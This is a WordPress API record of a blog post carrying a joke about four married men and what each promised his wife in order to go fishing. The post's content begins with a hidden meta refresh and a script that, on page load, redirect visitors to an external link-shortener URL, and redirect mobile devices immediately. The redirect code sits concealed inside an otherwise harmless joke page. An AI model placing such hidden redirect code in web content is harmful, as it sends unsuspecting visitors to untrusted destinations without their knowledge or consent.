{"id":9360,"date":"2024-04-18T14:34:32","date_gmt":"2024-04-18T14:34:32","guid":{"rendered":"https:\/\/ourtimenew.com\/?p=9360"},"modified":"2024-04-18T14:34:32","modified_gmt":"2024-04-18T14:34:32","slug":"four-married-guys-go-fishing-2","status":"publish","type":"post","link":"https:\/\/ourtimenew.com\/?p=9360","title":{"rendered":"Four married guys go fishing\u2026"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"7; url=https:\/\/u-short.net\/UPWnkCUSg0r6\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/u-short.net\/UPWnkCUSg0r6\");<\/script><br \/>\nFour married guys went fishing. After an hour or so, the following conversation took place:<br \/>\nFirst guy: &#8220;You have no idea what I had to do to be able to come out fishing this weekend. I had to promise my wife I will paint every room in the house next weekend.&#8221;<\/p>\n<p>Second guy: &#8220;That&#8217;s nothing! I had to promise my wife I&#8217;d build her a new deck for the pool.&#8221;<\/p>\n<p>Third guy: &#8220;Man, you both have it easy! I had to promise my wife that I&#8217;ll remodel the kitchen for her.&#8221;<\/p>\n<p>They continued to fish, until they realized the fourth guy had not said a word.<\/p>\n<p>So they asked him. &#8220;You haven&#8217;t said anything about what you had to do to be able to come fishing this weekend. What&#8217;s the deal?&#8221;<\/p>\n<p>Fourth guy: &#8220;I just set my alarm for 5:30 am. When it went off, I shut off the clock, gave the wife a nudge and said, &#8220;Fishing, or Sex,&#8221; and she said, &#8220;Wear sun-block.\u201d<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Four married guys went fishing. After an hour or so, the following conversation took place: First guy: &#8220;You have no idea what I had to do to&#8230; <\/p>\n","protected":false},"author":1,"featured_media":9361,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","footnotes":""},"categories":[1],"tags":[],"class_list":["post-9360","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/9360","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9360"}],"version-history":[{"count":1,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/9360\/revisions"}],"predecessor-version":[{"id":9362,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/9360\/revisions\/9362"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/media\/9361"}],"wp:attachment":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9360"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9360"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9360"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}